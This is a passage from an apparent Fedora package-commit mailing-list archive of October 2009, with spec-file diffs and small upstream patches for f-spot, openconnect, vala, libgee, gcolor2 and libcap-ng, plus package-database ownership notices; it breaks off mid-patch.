+++ f-spot.spec	3 Oct 2009 09:24:57 -0000	1.87
@@ -1,6 +1,6 @@
 Name:           f-spot
 Version:        0.6.1.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Photo management application
 
 Group:          Applications/Multimedia
@@ -18,8 +18,9 @@ Patch4:         f-spot-0.6.0.0-gtk-depre
 # upstream patch to fix crash in facebook exporter:
 # commit 807dab4344ecdadc7e46793369821de8b49692e5
 # commit b87604bc9782bf92f053aaf3ceb739a32f44ea13
-Patch5:         facebook-exporter-duplicate-label-fix.patch        
-
+Patch5:         facebook-exporter-duplicate-label-fix.patch
+# http://bugzilla.gnome.org/show_bug.cgi?id=596922
+Patch6:         0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch
 
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -77,6 +78,7 @@ photo collection in a slideshow as a scr
 %patch3 -p1 -b .gvfs-gphoto
 %patch4 -p1 -F 2 -b .gtk-deprecated
 %patch5 -p1 -b .faceboox-exporter-crash
+%patch6 -p1 -b .cairo-fix
 
 %build
 autoreconf -f -i
@@ -150,6 +152,10 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/applications/screensavers/f-spot-screensaver.desktop
 
 %changelog
+* Sat Oct 03 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.2-2
+- Add patch to fix f-spot crash when using "soft focus" and cairo-devel
+  was not installed (BZ 526563)
+
 * Fri Sep 25 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.2-1
 - Add upstream patches (
   commit b87604bc9782bf92f053aaf3ceb739a32f44ea13



From pkgdb at fedoraproject.org  Sat Oct  3 09:27:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 09:27:57 +0000
Subject: [pkgdb] nimbus (un)retirement
Message-ID: <20091003092757.776DA10F7C4@bastion2.fedora.phx.redhat.com>

Package nimbus in Fedora devel has been retired by cwickert

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Sat Oct  3 09:28:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 09:28:03 +0000
Subject: [pkgdb] nimbus (un)retirement
Message-ID: <20091003092802.EEF7510F7C4@bastion2.fedora.phx.redhat.com>

Package nimbus in Fedora 10 has been retired by cwickert

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Sat Oct  3 09:28:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 09:28:32 +0000
Subject: [pkgdb] nimbus ownership updated
Message-ID: <20091003092832.7B8D610F7C4@bastion2.fedora.phx.redhat.com>

Package nimbus in Fedora 11 is now owned by cwickert

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Sat Oct  3 09:28:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 09:28:37 +0000
Subject: [pkgdb] nimbus ownership updated
Message-ID: <20091003092837.5A92B10F7C4@bastion2.fedora.phx.redhat.com>

Package nimbus in Fedora EPEL 5 is now owned by cwickert

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Sat Oct  3 09:28:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 09:28:41 +0000
Subject: [pkgdb] nimbus ownership updated
Message-ID: <20091003092841.6C3CB10F7C4@bastion2.fedora.phx.redhat.com>

Package nimbus in Fedora 12 is now owned by cwickert

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From salimma at fedoraproject.org  Sat Oct  3 09:36:04 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Sat,  3 Oct 2009 09:36:04 +0000 (UTC)
Subject: rpms/vala/devel vala-mode.el,1.1,1.2
Message-ID: <20091003093604.EF26811C00E5@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/vala/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25170

Modified Files:
	vala-mode.el 
Log Message:
latest vala-mode.el Emacs mode



Index: vala-mode.el
===================================================================
RCS file: /cvs/pkgs/rpms/vala/devel/vala-mode.el,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vala-mode.el	15 Jul 2008 16:41:39 -0000	1.1
+++ vala-mode.el	3 Oct 2009 09:36:00 -0000	1.2
@@ -226,7 +226,8 @@
 (c-lang-defconst c-modifier-kwds
   vala '("public" "partial" "private" "const" "abstract"
 	 "protected" "ref" "in" "out" "static" "virtual"
-	 "override" "params" "internal"))
+	 "override" "params" "internal" "weak" "owned"
+	 "unowned"))
 
 ;; We don't use the protection level stuff because it breaks the
 ;; method indenting. Not sure why, though.
@@ -246,11 +247,11 @@
 
 ;; Sets up the enum to handle the list properly
 (c-lang-defconst c-brace-list-decl-kwds
-  vala '("enum"))
+  vala '("enum" "errordomain"))
 
 ;; We need to remove Java's package keyword
 (c-lang-defconst c-ref-list-kwds
-  vala '("using" "namespace"))
+  vala '("using" "namespace" "construct"))
 
 ;; Follow-on blocks that don't require a brace
 (c-lang-defconst c-block-stmt-2-kwds
@@ -389,7 +390,6 @@ Key bindings:
   (run-hooks 'vala-mode-hook)
   (c-update-modeline))
 
-

 (provide 'vala-mode)
 
 ;;; vala-mode.el ends here



From dwmw2 at fedoraproject.org  Sat Oct  3 10:00:06 2009
From: dwmw2 at fedoraproject.org (David Woodhouse)
Date: Sat,  3 Oct 2009 10:00:06 +0000 (UTC)
Subject: rpms/openconnect/F-12 openconnect-2.01-disconn.patch, NONE,
	1.1 openconnect-2.01-newcerts.patch, NONE, 1.1 openconnect.spec,
	1.15, 1.16
Message-ID: <20091003100006.D916C11C029E@cvs1.fedora.phx.redhat.com>

Author: dwmw2

Update of /cvs/pkgs/rpms/openconnect/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32006

Modified Files:
	openconnect.spec 
Added Files:
	openconnect-2.01-disconn.patch openconnect-2.01-newcerts.patch 
Log Message:
recognise OpenSSL 1.0.0 certs

openconnect-2.01-disconn.patch:
 cstp.c |   11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

--- NEW FILE openconnect-2.01-disconn.patch ---
commit 7edf904a62c822ba47318761ab915291db836643
Author: David Woodhouse <David.Woodhouse at intel.com>
Date:   Sat Oct 3 09:59:25 2009 +0100

    Fix bye packet length
    
    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>

commit ba5e72ace013b15325d022c08f9006995d2f928e
Author: David Woodhouse <David.Woodhouse at intel.com>
Date:   Thu Sep 17 13:48:45 2009 +0100

    Fix disconnect packet
    
    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>

--- a/cstp.c
+++ b/cstp.c
@@ -678,18 +678,19 @@ int cstp_bye(struct openconnect_info *vpninfo, char *reason)
 		return 0;
 
 	reason_len = strlen(reason);
-	bye_pkt = malloc(reason_len + 8);
+	bye_pkt = malloc(reason_len + 9);
 	if (!bye_pkt)
 		return -ENOMEM;
 
 	memcpy(bye_pkt, data_hdr, 8);
-	memcpy(bye_pkt + 8, reason, reason_len);
+	memcpy(bye_pkt + 9, reason, reason_len);
 
-	bye_pkt[4] = reason_len >> 8;
-	bye_pkt[5] = reason_len & 0xff;
+	bye_pkt[4] = (reason_len + 1) >> 8;
+	bye_pkt[5] = (reason_len + 1) & 0xff;
 	bye_pkt[6] = AC_PKT_DISCONN;
+	bye_pkt[8] = 0xb0;
 
-	SSL_write(vpninfo->https_ssl, bye_pkt, reason_len + 8);
+	SSL_write(vpninfo->https_ssl, bye_pkt, reason_len + 9);
 	free(bye_pkt);
 
 	vpninfo->progress(vpninfo, PRG_INFO,

openconnect-2.01-newcerts.patch:
 ssl.c |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE openconnect-2.01-newcerts.patch ---
commit 2d96b7bf2d927127ed0f56838b070e8e7693258d
Author: David Woodhouse <David.Woodhouse at intel.com>
Date:   Sat Oct 3 09:50:24 2009 +0100

    Recognise private keys generated with OpenSSL 1.0.0 (Fedora 12)
    
    These say '-----BEGIN ENCRYPTED PRIVATE KEY-----'.
    
    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>

diff --git a/ssl.c b/ssl.c
index 5c2baef..2e67634 100644
--- a/ssl.c
+++ b/ssl.c
@@ -297,7 +297,8 @@ static int load_certificate(struct openconnect_info *vpninfo)
 				vpninfo->cert_type = CERT_TYPE_TPM;
 				break;
 			} else if (!strcmp(buf, "-----BEGIN RSA PRIVATE KEY-----\n") ||
-				   !strcmp(buf, "-----BEGIN DSA PRIVATE KEY-----\n")) {
+				   !strcmp(buf, "-----BEGIN DSA PRIVATE KEY-----\n") ||
+				   !strcmp(buf, "-----BEGIN ENCRYPTED PRIVATE KEY-----\n")) {
 				vpninfo->cert_type = CERT_TYPE_PEM;
 				break;
 			}


Index: openconnect.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openconnect/F-12/openconnect.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- openconnect.spec	21 Aug 2009 14:50:53 -0000	1.15
+++ openconnect.spec	3 Oct 2009 10:00:05 -0000	1.16
@@ -1,6 +1,6 @@
 Name:		openconnect
 Version:	2.01
-Release:	3%{?dist}
+Release:	4%{?dist}
 Summary:	Open client for Cisco AnyConnect VPN
 
 Group:		Applications/Internet
@@ -15,6 +15,8 @@ Requires:	openssl >= 0.9.8k-4
 # The "lasthost" and "autoconnect" gconf keys will cause older versions of
 # NetworkManager-openconnect to barf. As will the 'gwcert' secret.
 Conflicts:	NetworkManager-openconnect < 0.7.0.99-4
+Patch0:		openconnect-2.01-newcerts.patch
+Patch1:		openconnect-2.01-disconn.patch
 
 %description
 This package provides a client for Cisco's "AnyConnect" VPN, which uses
@@ -22,6 +24,8 @@ HTTPS and DTLS protocols.
 
 %prep
 %setup -q
+%patch0 -p1
+%patch1 -p1
 
 %build
 make %{?_smp_mflags}
@@ -47,6 +51,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 03 2009 David Woodhouse <David.Woodhouse at intel.com> - 2.01-4
+- Fix disconnect packet, work with new certificates from OpenSSL 1.0.0
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 2.01-3
 - rebuilt with new openssl
 



From salimma at fedoraproject.org  Sat Oct  3 09:30:18 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Sat,  3 Oct 2009 09:30:18 +0000 (UTC)
Subject: rpms/vala/devel .cvsignore, 1.24, 1.25 sources, 1.24, 1.25 vala.spec,
	1.42, 1.43
Message-ID: <20091003093018.3669E11C029E@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/vala/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23690

Modified Files:
	.cvsignore sources vala.spec 
Log Message:
* Sat Oct  3 2009 Michel Salim <salimma at fedoraproject.org> - 0.7.7-1
- Update to 0.7.7



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vala/devel/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	20 Aug 2009 21:26:18 -0000	1.24
+++ .cvsignore	3 Oct 2009 09:30:17 -0000	1.25
@@ -1 +1 @@
-vala-0.7.5.tar.bz2
+vala-0.7.7.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vala/devel/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	20 Aug 2009 21:26:19 -0000	1.24
+++ sources	3 Oct 2009 09:30:17 -0000	1.25
@@ -1 +1 @@
-a102d582b2ac75b6bcdc5785683263fc  vala-0.7.5.tar.bz2
+7d11fcddb2bd30b9ecbdacfaa20f2769  vala-0.7.7.tar.bz2


Index: vala.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vala/devel/vala.spec,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- vala.spec	20 Aug 2009 21:26:19 -0000	1.42
+++ vala.spec	3 Oct 2009 09:30:17 -0000	1.43
@@ -14,7 +14,7 @@
 %endif
 
 Name:           vala
-Version:        0.7.5
+Version:        0.7.7
 Release:        1%{?dist}
 Summary:        A modern programming language for GNOME
 
@@ -184,6 +184,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct  3 2009 Michel Salim <salimma at fedoraproject.org> - 0.7.7-1
+- Update to 0.7.7
+
 * Thu Aug 20 2009 Michel Salim <salimma at fedoraproject.org> - 0.7.5-1
 - Update to 0.7.5
 



From pkgdb at fedoraproject.org  Sat Oct  3 08:37:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 08:37:09 +0000
Subject: [pkgdb] nimbus ownership updated
Message-ID: <20091003083709.8704F10F87E@bastion2.fedora.phx.redhat.com>

Package nimbus in Fedora 12 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Sat Oct  3 08:37:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 08:37:06 +0000
Subject: [pkgdb] nimbus ownership updated
Message-ID: <20091003083706.407D810F7EA@bastion2.fedora.phx.redhat.com>

Package nimbus in Fedora EPEL 5 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From salimma at fedoraproject.org  Sat Oct  3 10:50:26 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Sat,  3 Oct 2009 10:50:26 +0000 (UTC)
Subject: rpms/libgee/devel libgee-0.5.0-notest.patch, NONE, 1.1 .cvsignore,
	1.6, 1.7 libgee.spec, 1.10, 1.11 sources, 1.6,
	1.7 libgee-0.1.4-notest.diff, 1.1, NONE
Message-ID: <20091003105026.2F17F11C029C@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/libgee/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7333

Modified Files:
	.cvsignore libgee.spec sources 
Added Files:
	libgee-0.5.0-notest.patch 
Removed Files:
	libgee-0.1.4-notest.diff 
Log Message:
* Sat Oct  3 2009 Michel Salim <salimma at fedoraproject.org> - 0.5.0-1
- Update to 0.5.0


libgee-0.5.0-notest.patch:
 Makefile.in |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE libgee-0.5.0-notest.patch ---
--- libgee-0.5.0/Makefile.in.notest	2009-09-28 14:21:10.000000000 -0400
+++ libgee-0.5.0/Makefile.in	2009-10-03 06:26:02.167603717 -0400
@@ -98,7 +98,7 @@
 	distdir dist dist-all distcheck
 ETAGS = etags
 CTAGS = ctags
-DIST_SUBDIRS = gee tests doc benchmark
+DIST_SUBDIRS = gee doc benchmark
 DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
 distdir = $(PACKAGE)-$(VERSION)
 top_distdir = $(distdir)
@@ -274,7 +274,6 @@
 
 SUBDIRS = \
 	gee \
-	tests \
 	$(DOC_SUBDIR) \
 	$(BENCHMARK_SUBDIR) \
 	$(NULL)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libgee/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	20 Aug 2009 21:27:11 -0000	1.6
+++ .cvsignore	3 Oct 2009 10:50:24 -0000	1.7
@@ -1 +1 @@
-libgee-0.3.0.tar.bz2
+libgee-0.5.0.tar.bz2


Index: libgee.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libgee/devel/libgee.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- libgee.spec	20 Aug 2009 21:27:11 -0000	1.10
+++ libgee.spec	3 Oct 2009 10:50:25 -0000	1.11
@@ -1,13 +1,13 @@
 Name:           libgee
-Version:        0.3.0
+Version:        0.5.0
 Release:        1%{?dist}
 Summary:        GObject collection library
 
 Group:          System Environment/Libraries
 License:        LGPLv2+
 URL:            http://live.gnome.org/Libgee
-Source0:        http://download.gnome.org/sources/libgee/0.3/libgee-%{version}.tar.bz2
-Patch0:         libgee-0.1.4-notest.diff
+Source0:        http://download.gnome.org/sources/libgee/0.5/libgee-%{version}.tar.bz2
+Patch0:         libgee-0.5.0-notest.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  glib2-devel
@@ -95,6 +95,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct  3 2009 Michel Salim <salimma at fedoraproject.org> - 0.5.0-1
+- Update to 0.5.0
+
 * Thu Aug 20 2009 Michel Salim <salimma at fedoraproject.org> - 0.3.0-1
 - Update to 0.3.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libgee/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	20 Aug 2009 21:27:11 -0000	1.6
+++ sources	3 Oct 2009 10:50:25 -0000	1.7
@@ -1 +1 @@
-1ca2b8a87950ef1b14342fb32db3e558  libgee-0.3.0.tar.bz2
+45e3e069dc3488e4bfe0c8411b85b987  libgee-0.5.0.tar.bz2


--- libgee-0.1.4-notest.diff DELETED ---



From cwickert at fedoraproject.org  Sat Oct  3 12:09:03 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat,  3 Oct 2009 12:09:03 +0000 (UTC)
Subject: rpms/gcolor2/devel gcolor2-0.4-missing-includes.patch, NONE,
	1.1 gcolor2.spec, 1.2, 1.3
Message-ID: <20091003120904.041B711C00E5@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gcolor2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25619/devel

Modified Files:
	gcolor2.spec 
Added Files:
	gcolor2-0.4-missing-includes.patch 
Log Message:
* Sat Oct 03 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4-3
- Fix missing includes (#525783)


gcolor2-0.4-missing-includes.patch:
 callbacks.c |    2 ++
 main.c      |    8 ++++----
 2 files changed, 6 insertions(+), 4 deletions(-)

--- NEW FILE gcolor2-0.4-missing-includes.patch ---
Nur in gcolor2-0.4/po: potfiles.
diff -dur gcolor2-0.4.orig/src/callbacks.c gcolor2-0.4/src/callbacks.c
--- gcolor2-0.4.orig/src/callbacks.c	2005-07-12 20:06:12.000000000 +0200
+++ gcolor2-0.4/src/callbacks.c	2009-10-03 13:56:41.000000000 +0200
@@ -9,6 +9,8 @@
 #include "interface.h"
 #include "support.h"
 
+#include <string.h>
+#include <glib/gprintf.h>
 
 GtkWidget        *savedialog;
 gchar            *colorname;
diff -dur gcolor2-0.4.orig/src/main.c gcolor2-0.4/src/main.c
--- gcolor2-0.4.orig/src/main.c	2005-07-11 16:55:49.000000000 +0200
+++ gcolor2-0.4/src/main.c	2009-10-03 13:59:32.000000000 +0200
@@ -8,6 +8,9 @@
 #include "interface.h"
 #include "support.h"
 #include "callbacks.h"
+#include <stdlib.h>
+#include <string.h>
+#include <glib/gprintf.h>
 
 GtkListStore *liststore;
 GdkWindow    *gdkwin;
@@ -48,8 +51,6 @@
 
 void add_list_color (gchar *spec, gchar *name, gchar *type, gboolean is_new_color)
 {
-	GdkPixmap   *pixmap;
-	GdkBitmap   *mask;
 	GdkPixbuf   *buf;
 	GtkTreeIter  iter;
 	
@@ -103,7 +104,7 @@
 	gchar *name;
 	gchar  buffer[512];
 	gchar  spec[8];
-	gint   r, g, b, lr, lg, lb;
+	gint   r, g, b, lr=0, lg=0, lb=0;
 	
 	fp = fopen (filename, "r");
 	if (!fp)
@@ -140,7 +141,6 @@
 	GtkTreeViewColumn *column;
 	GtkWidget         *treeview;
 	GtkTreeSelection  *select;
-	gchar             *buf;
 	
 #ifdef ENABLE_NLS
 	bindtextdomain (GETTEXT_PACKAGE, PACKAGE_LOCALE_DIR);


Index: gcolor2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcolor2/devel/gcolor2.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- gcolor2.spec	24 Jul 2009 23:36:49 -0000	1.2
+++ gcolor2.spec	3 Oct 2009 12:09:02 -0000	1.3
@@ -1,6 +1,6 @@
 Name:           gcolor2
 Version:        0.4
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        A simple color selector for GTK+2
 
 Group:          Applications/Publishing
@@ -8,6 +8,7 @@ License:        GPLv2
 URL:            http://gcolor2.sourceforge.net/
 Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.bz2
 Source1:        %{name}.desktop
+Patch0:         %{name}-0.4-missing-includes.patch
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 BuildRequires:  gtk2-devel perl(XML::Parser) desktop-file-utils
@@ -18,9 +19,11 @@ ported to use GTK+2, and now has a compl
 
 %prep
 %setup -q
+%patch0 -p1 -b .missing
 # make sure path to icon is correct
 sed -i 's!/usr/share!%{_datadir}!' %{SOURCE1}
 
+
 %build
 %configure
 make %{?_smp_mflags}
@@ -46,6 +49,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/%{name}.desktop
 
 %changelog
+* Sat Oct 03 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4-3
+- Fix missing includes (#525783)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From cwickert at fedoraproject.org  Sat Oct  3 12:09:04 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat,  3 Oct 2009 12:09:04 +0000 (UTC)
Subject: rpms/gcolor2/F-12 gcolor2-0.4-missing-includes.patch, NONE,
	1.1 gcolor2.spec, 1.2, 1.3
Message-ID: <20091003120904.541E711C0296@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gcolor2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25619/F-12

Modified Files:
	gcolor2.spec 
Added Files:
	gcolor2-0.4-missing-includes.patch 
Log Message:
* Sat Oct 03 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4-3
- Fix missing includes (#525783)


gcolor2-0.4-missing-includes.patch:
 callbacks.c |    2 ++
 main.c      |    8 ++++----
 2 files changed, 6 insertions(+), 4 deletions(-)

--- NEW FILE gcolor2-0.4-missing-includes.patch ---
Nur in gcolor2-0.4/po: potfiles.
diff -dur gcolor2-0.4.orig/src/callbacks.c gcolor2-0.4/src/callbacks.c
--- gcolor2-0.4.orig/src/callbacks.c	2005-07-12 20:06:12.000000000 +0200
+++ gcolor2-0.4/src/callbacks.c	2009-10-03 13:56:41.000000000 +0200
@@ -9,6 +9,8 @@
 #include "interface.h"
 #include "support.h"
 
+#include <string.h>
+#include <glib/gprintf.h>
 
 GtkWidget        *savedialog;
 gchar            *colorname;
diff -dur gcolor2-0.4.orig/src/main.c gcolor2-0.4/src/main.c
--- gcolor2-0.4.orig/src/main.c	2005-07-11 16:55:49.000000000 +0200
+++ gcolor2-0.4/src/main.c	2009-10-03 13:59:32.000000000 +0200
@@ -8,6 +8,9 @@
 #include "interface.h"
 #include "support.h"
 #include "callbacks.h"
+#include <stdlib.h>
+#include <string.h>
+#include <glib/gprintf.h>
 
 GtkListStore *liststore;
 GdkWindow    *gdkwin;
@@ -48,8 +51,6 @@
 
 void add_list_color (gchar *spec, gchar *name, gchar *type, gboolean is_new_color)
 {
-	GdkPixmap   *pixmap;
-	GdkBitmap   *mask;
 	GdkPixbuf   *buf;
 	GtkTreeIter  iter;
 	
@@ -103,7 +104,7 @@
 	gchar *name;
 	gchar  buffer[512];
 	gchar  spec[8];
-	gint   r, g, b, lr, lg, lb;
+	gint   r, g, b, lr=0, lg=0, lb=0;
 	
 	fp = fopen (filename, "r");
 	if (!fp)
@@ -140,7 +141,6 @@
 	GtkTreeViewColumn *column;
 	GtkWidget         *treeview;
 	GtkTreeSelection  *select;
-	gchar             *buf;
 	
 #ifdef ENABLE_NLS
 	bindtextdomain (GETTEXT_PACKAGE, PACKAGE_LOCALE_DIR);


Index: gcolor2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcolor2/F-12/gcolor2.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- gcolor2.spec	24 Jul 2009 23:36:49 -0000	1.2
+++ gcolor2.spec	3 Oct 2009 12:09:03 -0000	1.3
@@ -1,6 +1,6 @@
 Name:           gcolor2
 Version:        0.4
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        A simple color selector for GTK+2
 
 Group:          Applications/Publishing
@@ -8,6 +8,7 @@ License:        GPLv2
 URL:            http://gcolor2.sourceforge.net/
 Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.bz2
 Source1:        %{name}.desktop
+Patch0:         %{name}-0.4-missing-includes.patch
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 BuildRequires:  gtk2-devel perl(XML::Parser) desktop-file-utils
@@ -18,9 +19,11 @@ ported to use GTK+2, and now has a compl
 
 %prep
 %setup -q
+%patch0 -p1 -b .missing
 # make sure path to icon is correct
 sed -i 's!/usr/share!%{_datadir}!' %{SOURCE1}
 
+
 %build
 %configure
 make %{?_smp_mflags}
@@ -46,6 +49,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/%{name}.desktop
 
 %changelog
+* Sat Oct 03 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4-3
+- Fix missing includes (#525783)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From sgrubb at fedoraproject.org  Sat Oct  3 13:10:37 2009
From: sgrubb at fedoraproject.org (Steve Grubb)
Date: Sat,  3 Oct 2009 13:10:37 +0000 (UTC)
Subject: rpms/libcap-ng/F-12 libcap-ng-0.6.3-euid.patch, NONE,
	1.1 libcap-ng.spec, 1.12, 1.13
Message-ID: <20091003131037.C30F611C029E@cvs1.fedora.phx.redhat.com>

Author: sgrubb

Update of /cvs/pkgs/rpms/libcap-ng/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5194

Modified Files:
	libcap-ng.spec 
Added Files:
	libcap-ng-0.6.3-euid.patch 
Log Message:
* Sat Oct 03 2009 Steve Grubb <sgrubb at redhat.com> 0.6.2-2
- Apply patch correcting pscap and netcap acct detection


libcap-ng-0.6.3-euid.patch:
 netcap.c |   31 ++++++++++++++++++++++++++-----
 pscap.c  |   41 +++++++++++++++++++++++++++++++++--------
 2 files changed, 59 insertions(+), 13 deletions(-)

--- NEW FILE libcap-ng-0.6.3-euid.patch ---
diff -urp libcap-ng-0.6.2/utils/netcap.c libcap-ng-0.6.3/utils/netcap.c
--- libcap-ng-0.6.2/utils/netcap.c	2009-07-26 08:16:16.000000000 -0400
+++ libcap-ng-0.6.3/utils/netcap.c	2009-10-03 08:36:30.000000000 -0400
@@ -31,7 +31,6 @@
 #include <string.h>
 #include <dirent.h>
 #include <fcntl.h>
-#include <sys/stat.h>
 #include <pwd.h>
 #include "cap-ng.h"
 #include "proc-llist.h"
@@ -56,12 +55,12 @@ static int collect_process_info(void)
 		return 1;
 	}
 	while (( ent = readdir(d) )) {
+		FILE *sf;
 		int pid, ppid;
 		capng_results_t caps;
 		char buf[100];
 		char *tmp, cmd[16], state, *text, *bounds;
-		int fd, len;
-		struct stat sb;
+		int fd, len, euid;
 
 		// Skip non-process dir entries
 		if(*ent->d_name<'0' || *ent->d_name>'9')
@@ -77,7 +76,6 @@ static int collect_process_info(void)
 		if (fd < 0)
 			continue;
 		len = read(fd, buf, sizeof buf - 1);
-		fstat(fd, &sb);
 		close(fd);
 		if (len < 40)
 			continue;
@@ -109,6 +107,29 @@ static int collect_process_info(void)
 			text = capng_print_caps_text(CAPNG_PRINT_BUFFER,
 					CAPNG_PERMITTED);
 
+		// Get the effective uid
+		snprintf(buf, 32, "/proc/%d/status", pid);
+		sf = fopen(buf, "rt");
+		if (sf == NULL)
+			euid = 0;
+		else {
+			int line = 0;
+			__fsetlocking(sf, FSETLOCKING_BYCALLER);
+			while (fgets(buf, sizeof(buf), sf)) {
+				if (line == 0) {
+					line++;
+					continue;
+				}
+				if (memcmp(buf, "Uid:", 4) == 0) {
+					int id;
+					sscanf(buf, "Uid: %d %d",
+						&id, &euid);
+					break;
+				}
+			}
+			fclose(sf);
+		}
+
 		// Now record the bounding set information
 		if (caps == CAPNG_PARTIAL) {
 			caps = capng_have_capabilities(CAPNG_SELECT_BOUNDS);
@@ -170,7 +191,7 @@ static int collect_process_info(void)
 				continue;
 			node.ppid = ppid;
 			node.pid = pid;
-			node.uid = sb.st_uid;
+			node.uid = euid;
 			node.cmd = strdup(cmd);
 			node.inode = inode;
 			node.capabilities = strdup(text);
diff -urp libcap-ng-0.6.2/utils/pscap.c libcap-ng-0.6.3/utils/pscap.c
--- libcap-ng-0.6.2/utils/pscap.c	2009-08-16 08:29:37.000000000 -0400
+++ libcap-ng-0.6.3/utils/pscap.c	2009-10-03 08:36:57.000000000 -0400
@@ -23,12 +23,12 @@
